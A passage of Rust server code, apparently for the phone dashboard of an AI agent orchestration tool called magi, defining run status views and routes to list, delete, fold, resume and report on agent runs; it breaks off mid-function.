            reviews: state.reviews.len(),
            quota_losses: state.quota.len(),
            event: state.events.last().map(|e| e.message.clone()),
            waiting,
            live,
            // Filled in by the list route, which is the only place that can
            // see a task's other attempts.
            superseded_by: None,
            pr: state.pr.clone(),
            origin_label: crate::run::origin_label(state.origin.as_ref()),
        }
    }
}

/// `RunStatus` as the wire spells it. Every variant is one word, so this is
/// the same string `serde` writes for the status inside a full run.
fn status_word(status: RunStatus) -> String {
    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
    // was a third way of naming the same statuses, and one that changed
    // silently with a derive.
    status.as_str().to_owned()
}

/// The presentation status for a run, unified across summaries and details.
///
/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
/// runs awaiting operator answers.
fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
    if waiting {
        return "waiting".to_owned();
    }
    if state.unmerged_by_design() {
        return "unmerged".to_owned();
    }
    if !state.status.done() && live == crate::run::Liveness::Dead {
        // The driver claim clears this flag before saving another event.
        // A previous park event can therefore outlive a resumed driver.
        if state.parked {
            return "parked".to_owned();
        }
        return "stale".to_owned();
    }
    status_word(state.status)
}

/// The word a run's status badge shows: `display_status`, except that a
/// non-terminal run which is not provably live and was replaced by a later
/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
///
/// Same judgement `magi show` uses (`RunState::liveness`, the task's
/// successor); a live driver, `Unknown` liveness and terminal runs keep their
/// own word, so superseded never claims more than "not live".
fn run_badge_status(
    state: &RunState,
    display_status: &str,
    live: crate::run::Liveness,
    superseded: bool,
) -> String {
    if state.status.done() || live == crate::run::Liveness::Live {
        return display_status.to_owned();
    }
    if superseded {
        return "superseded".to_owned();
    }
    // A dead run's `display_status` is `stale`, except that a deliberate park
    // and an open owner question keep their own word: neither is a crash, and
    // the question still needs an answer. Anything else dead reads `stale`.
    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
        return "stale".to_owned();
    }
    display_status.to_owned()
}

/// `?limit=`, clamped by the handler.
#[derive(Debug, Deserialize)]
struct ListQuery {
    #[serde(default)]
    limit: Option<usize>,
    /// Exact ids only; an empty value requests no rows (except queue blockers).
    ids: Option<String>,
}

impl ListQuery {
    fn contains(&self, id: &str) -> bool {
        self.ids
            .as_ref()
            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
    }
}

async fn runs_list(
    State(ui): State<Arc<Ui>>,
    Query(q): Query<ListQuery>,
) -> ApiResult<Json<Vec<RunSummary>>> {
    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
    blocking(move || {
        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
        let states = run_ids(&ui.runs)
            .into_iter()
            // A run whose state cannot be read is skipped, not fatal: a run
            // killed mid-write must not blank the history of every other one.
            // The detail route still explains it, which is where an operator
            // asking "what happened to that run" ends up.
            .filter_map(|id| read_run(&ui.runs, &id).ok())
            .take(limit)
            .filter(|run| q.contains(&run.id));
        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
        let summaries = summarize(
            states,
            &open_runs,
            &claimed,
            &superseded,
            |p| probe.borrow_mut().status(p),
            |p| probe.borrow_mut().started_at(p),
        );
        Ok(Json(summaries))
    })
    .await
}

/// Everything the per-run rows share, read once: runs with an open question,
/// runs a live daemon claims, and the superseded map. Asking per run re-read
/// every question file and the daemon status file for each of hundreds of
/// runs, and spawned a process probe per run on Windows.
fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
    let open_runs: HashSet<String> = ui
        .questions
        .list()
        .into_iter()
        .filter(|q| q.status.open())
        .map(|q| q.run)
        .collect();
    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
        .into_iter()
        .map(|c| c.run)
        .collect();
    (open_runs, claimed, ui.queue.superseded())
}

/// The rows of the run list, given everything that is shared between them.
///
/// Pure over its inputs so a test can count how often the process queries are
/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
/// takes, called at most once per run.
fn summarize<I, S, D>(
    states: I,
    open_runs: &HashSet<String>,
    claimed: &HashSet<String>,
    superseded: &HashMap<String, String>,
    mut status_q: S,
    mut identity_q: D,
) -> Vec<RunSummary>
where
    I: IntoIterator<Item = RunState>,
    S: FnMut(u32) -> Option<bool>,
    D: FnMut(u32) -> Option<String>,
{
    states
        .into_iter()
        .map(|state| {
            let waiting = open_runs.contains(&state.id);
            let live =
                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
            let mut row = RunSummary::of(&state, waiting, live);
            row.superseded_by = state
                .pr_taken_over_by
                .as_ref()
                .or_else(|| superseded.get(&state.id))
                .map(String::as_str)
                .map(crate::run::short_of)
                .map(str::to_owned);
            row.badge_status = run_badge_status(
                &state,
                &row.display_status,
                live,
                row.superseded_by.is_some(),
            );
            row
        })
        .collect()
}

/// A run as the detail route hands it to the phone.
///
/// The whole state, flattened, plus `instruction_md`: the Task panel renders
/// the instruction as markdown, and the raw `instruction` field this struct
/// still carries (unchanged) is what a client wanting the exact bytes reads
/// instead.
#[derive(Debug, Serialize)]
struct RunDetailView {
    stop_reason: Option<String>,
    #[serde(flatten)]
    state: RunState,
    instruction_md: Vec<md::Node>,
    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
    /// mirror the records they come from, index for index; the raw strings
    /// stay in `state` and decide whether a block is shown at all.
    #[serde(flatten)]
    prose_md: RunProseMd,
    /// Whether a process is actually still driving this run: `"live"`,
    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
    ///
    /// `state.active` (flattened in above) is only ever cleared by the
    /// process that populated it; a killed one leaves its last wave's
    /// entries behind. Carrying this alongside is what lets the phone rail
    /// tell "this seat is still answering" from "this seat was still
    /// answering when whatever was driving this run died" without a second
    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
    /// proof of either. A string rather than a bool on purpose: a daemon
    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
    /// and neither proven is `"unknown"` — folding that third case into
    /// either end of a bool is exactly the wrong call for a phone screen an
    /// operator uses to decide whether to wait or to act.
    live: crate::run::Liveness,
    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
    /// alongside the flattened `state` rather than inside it, since
    /// `RunState` has no business knowing which of its own methods a caller
    /// wants serialized.
    unmerged_by_design: bool,
    /// Same field and meaning as [`RunSummary::waiting`].
    #[serde(default)]
    waiting: bool,
    /// Same derived presentation status as [`RunSummary::display_status`].
    #[serde(default)]
    display_status: String,
    /// Same field and meaning as [`RunSummary::badge_status`].
    #[serde(default)]
    badge_status: String,
    /// Same field and meaning as [`RunSummary::done`]: whether the status is
    /// terminal. The client's `landView` keys on it, and the flattened state
    /// has no such field, so without it a finished run's stale `open` PR
    /// would be painted as live on the detail page.
    done: bool,
    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
    /// route fills it from [`Queue::superseded`], the detail route from
    /// [`Queue::superseded_by`], and both read the same underlying task
    /// order. Without this the detail page could only ever show a red
    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
    /// with nothing anywhere saying so — an operator opening it had no way
    /// to tell "this is done elsewhere" from "this still needs a retry".
    superseded_by: Option<String>,
    /// The task's current attempt, when this run is an older one — resolved
    /// from [`Queue::latest_attempt`] and this run's own state, not left for
    /// the client to derive.
    ///
    /// Three things a client cannot safely do on its own drove this onto the
    /// server: it has to name the chain's *current head*, not just the next
    /// attempt (`superseded_by` above), because an intermediate retry in a
    /// longer chain can itself still be unresolved; it has to resolve to a
    /// real id rather than a short id a client would have to guess a full id
    /// from, which is ambiguous the moment two runs share a suffix; and it
    /// has to read that head's own status directly, because whether a run
    /// list a client happens to have cached even contains that attempt
    /// depends on a page limit this route knows nothing about.
    latest_attempt: Option<LatestAttempt>,
    /// The queue task this run belongs to, so the detail page can link back
    /// to the task's own page. `None` for a run nobody queued (`magi run`).
    task: Option<TaskRef>,
    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
    /// run recorded before origins existed. `origin` itself (flattened in
    /// with `state`) is `null` in that case.
    origin_label: String,
    /// Each recorded pass over this run, with the cause it stopped for. Empty
    /// for a run from before passes were kept: its earlier passes are unknown.
    pass_views: Vec<PassView>,
}

/// A task named from a run's detail page.
#[derive(Debug, Serialize)]
struct TaskRef {
    id: String,
    short: String,
    title: String,
    /// [`Source::label`], e.g. `chat@a1b2`.
    source_label: String,
    /// Where the task came from, when that place has a page; see [`source_link`].
    source_link: Option<SourceLink>,
    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
    status: &'static str,
    attempts: usize,
    max_attempts: usize,
    /// This run is the last entry of the task's run list.
    is_latest: bool,
    /// The task's newest run, when it is not this one.
    latest: Option<RunBrief>,
    /// The run that finished a `done` task (merged, or already in the base).
    finished_by: Option<RunBrief>,
    /// The task is `done` but no run on record finished it: closed by hand.
    closed_by_hand: bool,
}

/// The page that filed a task, as the UI links to it.
#[derive(Debug, PartialEq, Eq, Serialize)]
struct SourceLink {
    /// `chat` (a conversation) or `run` (a run's node).
    kind: &'static str,
    /// The full id, never the short one in the label.
    id: String,
    /// The hash route that opens it.
    href: String,
}

/// Percent-encode everything outside the URL-unreserved set.
fn encode_segment(raw: &str) -> String {
    let mut out = String::with_capacity(raw.len());
    for b in raw.bytes() {
        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
            out.push(b as char);
        } else {
            out.push_str(&format!("%{b:02X}"));
        }
    }
    out
}

/// The one place that decides where a task's source links to. A chat
/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
/// a person or an imported issue has no page, so no link.
fn source_link(source: &Source) -> Option<SourceLink> {
    let Source::Agent { run, node } = source else {
        return None;
    };
    let (kind, route) = if node == crate::queue::CHAT_NODE {
        ("chat", "chat")
    } else {
        ("run", "runs")
    };
    Some(SourceLink {
        kind,
        id: run.clone(),
        href: format!("#/{route}/{}", encode_segment(run)),
    })
}

/// The parent task of a follow-up, when its file can still be read.
#[derive(Debug, Serialize, PartialEq)]
struct FollowUpParent {
    id: String,
    short: String,
    title: String,
    /// The parent's own status (`TaskStatus::as_str`).
    status: &'static str,
    href: String,
}

/// The merged run a follow-up was filed from.
#[derive(Debug, Serialize, PartialEq)]
struct FollowUpRun {
    id: String,
    short: String,
    /// `None` when the run's record cannot be read.
    status: Option<&'static str>,
    /// `None` unless the record could be read: never a dead link.
    href: Option<String>,
}

/// Where a follow-up task came from, resolved once per task page so the flow
/// chart and the detail block cannot disagree. See [`followup_origin`].
#[derive(Debug, Serialize, PartialEq)]
struct FollowUpOrigin {
    /// Present only when `origin_task` is set and that task still exists.
    parent: Option<FollowUpParent>,
    run: FollowUpRun,
    /// The merged pull request, verbatim. Not an href: the client passes it
    /// through `forgeUrl()` and renders text when that refuses it (the one
    /// exception to "the href rule is Rust's alone", since a forge URL is
    /// data from a record, not a route).
    pr: String,
    findings: Vec<String>,
    generation: u32,
}

/// The one place that decides what a follow-up links to. A parent that cannot
/// be read (gone, or an id that names nothing) is `None`, never an error.
fn followup_origin(
    fu: &crate::queue::FollowUp,
    task: impl Fn(&str) -> Option<Task>,
    run: impl Fn(&str) -> Option<RunState>,
) -> FollowUpOrigin {
    let parent = fu
        .origin_task
        .as_deref()
        .and_then(task)
        .map(|t| FollowUpParent {
            short: t.short().to_owned(),
            href: format!("#/tasks/{}", encode_segment(&t.id)),
            status: t.status.as_str(),
            title: t.title,
            id: t.id,
        });
    let state = run(&fu.run);
    FollowUpOrigin {
        parent,
        run: FollowUpRun {
            short: run::short_of(&fu.run).to_owned(),
            status: state.as_ref().map(|s| s.status.as_str()),
            href: state
                .is_some()
                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
            id: fu.run.clone(),
        },
        pr: fu.pr.clone(),
        findings: fu.findings.clone(),
        generation: fu.generation,
    }
}

/// Another run of the same task, as named from a run's detail page.
#[derive(Debug, Serialize)]
struct RunBrief {
    id: String,
    short: String,
    /// `None` when the run's record cannot be read.
    status: Option<&'static str>,
    /// The task-page wording for how that pass ended.
    outcome: String,
    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
    badge: Option<String>,
}

/// The task's overall outcome as seen from `this_run`'s page, classified with
/// the same exits the task page's flowchart uses.
fn task_outcome(
    task: &Task,
    this_run: &str,
    max_attempts: usize,
    read: impl Fn(&str) -> Option<RunState>,
) -> TaskRef {
    let max_attempts = task.effective_attempt_limit(max_attempts);
    let history = task_history(task, read);
    let brief = |h: &TaskRunView| RunBrief {
        id: h.id.clone(),
        short: h.short.clone(),
        status: h.status,
        outcome: h.exit.edge_label(h.status),
        badge: h.badge.clone(),
    };
    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
    let latest = if is_latest {
        None
    } else {
        history.last().map(brief)
    };
    let done = task.status == TaskStatus::Done;
    let finished_by = done
        .then(|| {
            history
                .iter()
                .rev()
                .find(|h| {
                    matches!(
                        h.exit,
                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
                    )
                })
                .map(brief)
        })
        .flatten();
    TaskRef {
        short: task.short().to_owned(),
        title: task.title.clone(),
        id: task.id.clone(),
        source_label: task.source.label(),
        source_link: source_link(&task.source),
        status: task.status.as_str(),
        attempts: task.attempts,
        max_attempts,
        is_latest,
        latest,
        closed_by_hand: done && finished_by.is_none(),
        finished_by,
    }
}

/// The task's current attempt, as seen from an older one's detail page.
#[derive(Debug, Serialize)]
struct LatestAttempt {
    id: String,
    short: String,
    /// Whether this attempt itself settled with a result nobody needs to
    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
    /// unconfirmed claim that no change was needed, which is exactly why it
    /// settles the task through `Held` rather than `Done` and still waits on
    /// a human to check the evidence; showing an older run as "finished
    /// elsewhere" on the strength of an unverified claim would bury the
    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
    /// in-flight status are excluded because they are exactly the
    /// unresolved states this field exists to tell apart from a real finish.
    resolved: bool,
    /// The attempt's own recorded status, so the page can say where it
    /// stands while it is not resolved yet.
    status: RunStatus,
    /// Whether that status is terminal (nothing is still running it).
    done: bool,
}

/// Markdown for the free-text prose of a run, parallel to `RunState`.
#[derive(Debug, Default, Serialize)]
struct RunProseMd {
    /// `None` when the run has no design deliberation.
    advice_md: Option<AdviceMd>,
    /// One entry per candidate: the summary.
    candidate_summaries_md: Vec<Vec<md::Node>>,
    /// One entry per review round, in `reviews` order.
    reviews_md: Vec<RoundMd>,
}

#[derive(Debug, Default, Serialize)]
struct AdviceMd {
    synthesis: Vec<md::Node>,
    /// One per record; empty for a seat with no proposal.
    approaches: Vec<Vec<md::Node>>,
}

#[derive(Debug, Default, Serialize)]
struct RoundMd {
    /// One per reviewer record.
    reviewers: Vec<ReviewerMd>,
    /// One per `reconsideration` entry: the reason.
    reconsideration: Vec<Vec<md::Node>>,
    fix: Option<FixMd>,
}

#[derive(Debug, Default, Serialize)]
struct ReviewerMd {
    summary: Vec<md::Node>,
    /// One per finding, in recorded order (not the display order).
    findings: Vec<Vec<md::Node>>,
}

#[derive(Debug, Default, Serialize)]
struct FixMd {
    notes: Vec<md::Node>,
    /// One per rejection: the argument.
    rejected: Vec<Vec<md::Node>>,
}

/// Parse a run's agent-written prose; a pure function of the state.
fn run_prose_md(state: &RunState) -> RunProseMd {
    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
    RunProseMd {
        advice_md: state.advice.as_ref().map(|a| AdviceMd {
            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
            approaches: a
                .records
                .iter()
                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
                .collect(),
        }),
        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
        reviews_md: state
            .reviews
            .iter()
            .map(|round| RoundMd {
                reviewers: round
                    .reviews
                    .iter()
                    .map(|rec| ReviewerMd {
                        summary: nodes(&rec.summary),
                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
                    })
                    .collect(),
                reconsideration: round
                    .reconsideration
                    .iter()
                    .map(|rv| nodes(&rv.reason))
                    .collect(),
                fix: round.fix.as_ref().map(|fix| FixMd {
                    notes: nodes(&fix.notes),
                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
                }),
            })
            .collect(),
    }
}

impl RunDetailView {
    fn of(
        state: RunState,
        waiting: bool,
        live: crate::run::Liveness,
        superseded_by: Option<String>,
        latest_attempt: Option<LatestAttempt>,
        task: Option<TaskRef>,
    ) -> Self {
        let display_status = run_display_status(&state, waiting, live);
        let stop_reason = crate::stop_reason::of(
            &state,
            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
        );
        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
        Self {
            stop_reason,
            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
            prose_md: run_prose_md(&state),
            origin_label: crate::run::origin_label(state.origin.as_ref()),
            live,
            unmerged_by_design: state.unmerged_by_design(),
            waiting,
            display_status,
            badge_status,
            done: state.status.done(),
            superseded_by,
            latest_attempt,
            task,
            state,
        }
    }
}

async fn run_detail(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<Json<RunDetailView>> {
    blocking(move || {
        let id = resolve_run(&ui.runs, &id)?;
        let state = read_run(&ui.runs, &id)?;
        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
        let live = state.liveness(daemon_claims);
        let waiting = !ui.questions.open_for(&id).is_empty();
        let superseded_by = state
            .pr_taken_over_by
            .clone()
            .or_else(|| ui.queue.superseded_by(&id))
            .as_deref()
            .map(crate::run::short_of)
            .map(str::to_owned);
        // Best-effort: an unreadable head (mid-write, or deleted) just means
        // this run's own status stands on its own, same as no later attempt
        // existing at all.
        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
                short: head.short().to_owned(),
                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
                status: head.status,
                done: head.status.done(),
                id: head.id,
            })
        });
        let max_attempts = daemon::Opts::default().max_attempts;
        let task = ui
            .queue
            .list()
            .into_iter()
            .find(|t| t.runs.contains(&id))
            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
        Ok(Json(RunDetailView::of(
            state,
            waiting,
            live,
            superseded_by,
            latest_attempt,
            task,
        )))
    })
    .await
}

/// `DELETE /api/runs/{id}`.
///
/// Remove a finished, folded run directory along with its artifacts.
/// Running runs and runs with unfolded candidate worktrees/branches cannot be
/// deleted. This never touches git worktrees or branches - except for a run
/// whose state this build cannot read at all, where there is no candidate
/// list to check and the wholesale removal `magi fold` already uses for that
/// case is the only meaningful "delete".
async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
    let (id, unreadable) = {
        let ui = Arc::clone(&ui);
        blocking(move || {
            let id = resolve_run(&ui.runs, &id)?;
            match read_run(&ui.runs, &id) {
                Ok(state) => {
                    let in_flight =
                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
                    state
                        .ensure_can_delete(in_flight)
                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
                    let dir = ui.runs.join(&id);
                    std::fs::remove_dir_all(&dir)
                        .with_context(|| format!("remove run directory {}", dir.display()))?;
                    Ok((id, false))
                }
                Err(_) => {
                    // Unreadable: there is no candidate list to guard on, so
                    // a live daemon's claim is the only thing left to check -
                    // the same rule `run_fold` applies for the same reason.
                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
                        return Err(ApiError::conflict(format!(
                            "run {id} is being worked on by a live daemon right now"
                        )));
                    }
                    Ok((id, true))
                }
            }
        })
        .await?
    };
    if unreadable {
        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
            .await
            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
    }
    let ui = Arc::clone(&ui);
    let done = id.clone();
    blocking(move || {
        // The agent that asked died with the run, so an open question would
        // keep asking the operator for a decision nobody can deliver.
        ui.questions.abandon_for_run(
            &done,
            &format!("run {done} was deleted, so nothing is waiting for this answer"),
        )?;
        Ok(())
    })
    .await?;
    Ok(StatusCode::NO_CONTENT)
}

/// `POST /api/runs/{id}/fold`.
///
/// Remove a run's candidate worktrees and branches, keeping its record.
///
/// This exists because the deck answered "delete this run" with *"Candidates
/// must be folded before deleting. Run `magi fold` first."* — a phone being
/// told to open a terminal, in the one product whose point is that it does
/// not need one. The runs an operator most wants gone are the stalled and
/// blocked ones, and those are exactly the runs still holding worktrees:
/// three of them here held 53 GB.
///
/// The winner's tree goes too. A fold is what someone asks for when they are
/// finished with a run, and leaving one tree behind would leave the delete
/// button disabled for the same reason as before.
///
/// Refused while a live daemon is working on the run, on the rule that guards
/// deletion: folding underneath a running agent would pull the tree it is
/// editing out from under it.
///
/// A run whose state this build cannot read at all falls back to
/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
/// selectively, so the whole record's worktree goes wholesale, exactly what
/// `magi fold` does on the command line for the same run.
async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
    let (id, state) = {
        let ui = Arc::clone(&ui);
        blocking(move || {
            let id = resolve_run(&ui.runs, &id)?;
            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
                return Err(ApiError::conflict(format!(
                    "run {id} is being worked on by a live daemon right now"
                )));
            }
            let state = read_run(&ui.runs, &id).ok();
            Ok((id, state))
        })
        .await?
    };
    let removed = match state {
        Some(mut state) => {
            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
                .await
                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
            // Nothing left to remove is not the same thing as nothing left to
            // do — see `clean::clear_abandoned_active`'s own doc for the run
            // this exists for: worktrees already gone, but a killed process
            // left active seats nobody will ever answer for.
            if removed.is_empty() {
                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
            }
            removed
        }
        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
            .await
            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
    };
    Ok(Json(FoldView {
        run: id,
        removed_count: removed.len(),
        removed,
    }))
}

/// What a fold took away, so the deck can say so rather than only re-render.
#[derive(Debug, Serialize)]
struct FoldView {
    run: String,
    /// Worktree paths and branch names removed, in the order they went.
    removed: Vec<String>,
    removed_count: usize,
}

/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
/// merged outside of `land::land`'s own loop.
#[derive(Debug, Deserialize)]
struct FoldMergedBody {
    #[serde(default)]
    pr_url: String,
}

/// `POST /api/runs/{id}/fold-merged`.
///
/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
/// `Blocked` with `merge: null` because magi never got as far as opening a
/// pull request of its own (a title over GitHub's length limit, `gh pr
/// create` unreachable, a stale token), which the operator then finished by
/// hand on a pull request magi never recorded. The "Run actions" sheet used
/// to have no way to tell it about that pull request short of a terminal and
/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
/// this exists and what it deliberately does not do (`bump::after_merge`).
///
/// Refused, like [`run_fold`], while a live daemon is working on the run: the
/// correction rewrites the same `status`/`merge` fields a running graph would
/// be writing to on its own.
///
/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
/// calls plus a fold, seconds of work, and the phone should get its answer
/// (which pull request it recorded, and what changed) in the same round
/// trip rather than learning it from the change stream.
async fn run_fold_merged(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    Json(body): Json<FoldMergedBody>,
) -> ApiResult<Json<FoldMergedView>> {
    let pr_url = body.pr_url.trim().to_owned();
    if pr_url.is_empty() {
        return Err(ApiError::bad_request("pr_url is required"));
    }
    let (id, mut state) = {
        let ui = Arc::clone(&ui);
        blocking(move || {
            let id = resolve_run(&ui.runs, &id)?;
            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
                return Err(ApiError::conflict(format!(
                    "run {id} is being worked on by a live daemon right now"
                )));
            }
            let state = read_run(&ui.runs, &id)?;
            Ok((id, state))
        })
        .await?
    };
    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
        .await
        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
        .await
        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
    Ok(Json(FoldMergedView {
        run: id,
        before: before.as_str().to_owned(),
        after: after.as_str().to_owned(),
        removed,
    }))
}

/// What [`run_fold_merged`] did, so the deck can say so.
#[derive(Debug, Serialize)]
struct FoldMergedView {
    run: String,
    /// `status` before the correction — normally `"blocked"`.
    before: String,
    /// `status` after — normally `"merged"`.
    after: String,
    /// Worktree paths and branch names the trailing fold removed.
    removed: Vec<String>,
}

/// `POST /api/runs/{id}/resume`.
///
/// Carry a stalled run on from where it stopped, in the background.
///
/// A stalled card says "the work is kept" and used to offer no way to act on
/// that: the candidates are built and paid for, and continuing means re-asking
/// only the seats whose absence collapsed the panel. The alternative an
/// operator actually had was releasing the task, which competes three fresh
/// implementations against work that already exists.
///
/// **202, not 200.** A resume runs agents for minutes; holding the connection
/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
/// phone learns the outcome from the change stream.
///
/// Refused when the loop is running at all, not merely when it is on this run.
/// The scarce resource is the agent CLIs' quota, and a tap that quietly
/// started a second graph on top of whatever the loop is already driving —
/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
/// allows — would spend that quota twice over for no extra throughput.
async fn run_resume(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<(StatusCode, Json<RunSummary>)> {
    let (id, state) = {
        let ui = Arc::clone(&ui);
        blocking(move || {
            let id = resolve_run(&ui.runs, &id)?;
            let state = read_run(&ui.runs, &id)?;
            Ok((id, state))
        })
        .await?
    };
    if let Some(to) = state
        .pr_taken_over_by
        .as_ref()
        .or(state.released_to.as_ref())
    {
        return Err(ApiError::conflict(format!(
            "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
            state.short(),
            crate::run::short_of(to)
        )));
    }
    if !state.status.resumable() {
        return Err(ApiError::conflict(format!(
            "run {} is `{}`, and only a stalled or blocked run can be resumed",
            state.short(),
            status_word(state.status)
        )));
    }
    // Refused whenever the loop is running anything at all, not merely when
    // it is on this run: a manual resume racing a loop-driven run over the
    // same agent quota is the thing this guard exists to prevent, whether
    // the loop's own concurrency is one run or several.
    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
        .into_iter()
        .next()
    {
        return Err(ApiError::conflict(format!(
            "the loop is running run {} right now; stop it first, or wait for \
             it to finish, before resuming a run by hand.",
            crate::run::short_of(&work.run)
        )));
    }
    let _resume = ui.begin_resume(&id)?;

    // The same shape the list route returns, so the phone updates the card it
    // already has rather than learning a second schema for one button.
    let queued = RunSummary::of(
        &state,
        !ui.questions.open_for(&id).is_empty(),
        state.liveness(false),
    );
    let run = id.clone();
    tokio::spawn(async move {
        let _resume = _resume;
        match crate::graph::Runner::resume(&run) {
            Ok(mut runner) => {
                if let Err(e) = runner.execute().await {
                    tracing::warn!("resume of run {run} stopped: {e:#}");
                }
            }
            // The run's own record is what the phone reads; this line is for
            // the operator's terminal.
            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
        }
    });
    Ok((StatusCode::ACCEPTED, Json(queued)))
}

async fn run_report(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<impl IntoResponse> {
    let text = blocking(move || {
        let id = resolve_run(&ui.runs, &id)?;
        // Colour is off for the whole process, set once in `serve`. Rendering
        // is CPU work over the full state, which is the other reason this is
        // not on the executor.
        let state = read_run(&ui.runs, &id)?;
        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
        let live = state.liveness(daemon_claims);
        Ok(format!(
            "{}{}",
            report::run(&state),
            report::active_seats(&state, live)
        ))
    })
    .await?;
    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
}

/// The structured twin of [`run_report`]: the same state, as sections the UI
/// draws as cards. An unreadable run answers with the same error the text
/// route does; it is never turned into an empty report.
async fn run_report_json(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<Json<crate::report_view::RunReportView>> {
    let view = blocking(move || {
        let id = resolve_run(&ui.runs, &id)?;
        let state = read_run(&ui.runs, &id)?;
        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
        // Only a record that lacks the structured details reads `artifacts/`.
        let recovered = state.graft.as_ref().map(|_| {
            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
        });
        Ok(crate::report_view::build_with(
            &state,
            state.liveness(daemon_claims),
            recovered.as_ref(),
        ))
    })
    .await?;
    Ok(Json(view))
}

/// Most of a graft diff the route returns.
const GRAFT_DIFF_MAX: usize = 400 * 1024;
/// How long `git diff` may run.
const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);

/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
/// come from the run record, never from the request.
async fn run_graft_diff(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<impl IntoResponse> {
    let (repo, pre, post) = blocking(move || {
        let id = resolve_run(&ui.runs, &id)?;
        let state = read_run(&ui.runs, &id)?;
        let g = state
